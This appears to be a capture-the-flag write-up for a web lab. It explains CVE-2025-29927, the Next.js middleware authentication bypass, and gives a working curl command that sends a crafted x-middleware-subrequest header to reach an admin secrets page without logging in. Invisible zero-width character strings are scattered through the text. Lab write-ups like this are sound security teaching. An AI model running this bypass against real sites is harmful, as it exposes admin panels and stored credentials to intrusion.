Lab 113 — CloudNest

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: authentication_bypass_via_framework_vulnerability, honeypot_flag_identification, nextjs_middleware_recursion_bypass

Summary

Task: Next.js cloud management platform with middleware-based route protection for /admin. Solution: CVE-2025-29927 bypass using x-middleware-subrequest header with 5+ colon-separated values to skip authentication middleware.

Lab 113 — CloudNest — hackadvisor

Description

CloudNest by NestLayer Technologies is a cloud infrastructure management platform used by engineering teams to manage servers, deployments, and platform secrets from a unified dashboard.

The application features a public marketing site, authenticated user dashboards for managing cloud infrastructure, and a restricted admin panel for platform configuration and secret management.

Your goal is to find a way to bypass the application's route protection and access the admin area to retrieve sensitive platform credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Next.js web application with protected admin panel. Goal is to bypass authentication and access /admin/secrets to retrieve platform credentials.

Analysis

1. Framework identification: HTTP response headers revealed Next.js:

   • X-Powered-By: Next.js
   • Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch

2. Route protection: Protected routes /admin and /dashboard return 307 Temporary Redirect to /login, indicating middleware-based authentication.

3. Vulnerability: CVE-2025-29927 - Next.js Middleware Authorization Bypass ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Next.js uses the x-middleware-subrequest header internally to prevent infinite middleware recursion. When this header contains 5 or more colon-separated middleware identifiers, the framework assumes it's in a recursive loop and skips middleware execution entirely — including authentication middleware.

Solution

Bypass authentication by adding the special header that triggers the recursion protection:

 bash read-only • copy allowed Copy
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://fa017b95-3317-4903-b6c9-5bc454530aa4.labs.hackadvisor.io/admin/secrets

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This returns HTTP 200 OK instead of a redirect, granting full access to the admin panel without authentication.

The flag was found in the /admin/secrets page in the System Secrets table as PLATFORM_MASTER_KEY.

Note: The page contained a honeypot decoy flag (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments designed to trick automated scanners. The real flag was in the actual rendered secrets table data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍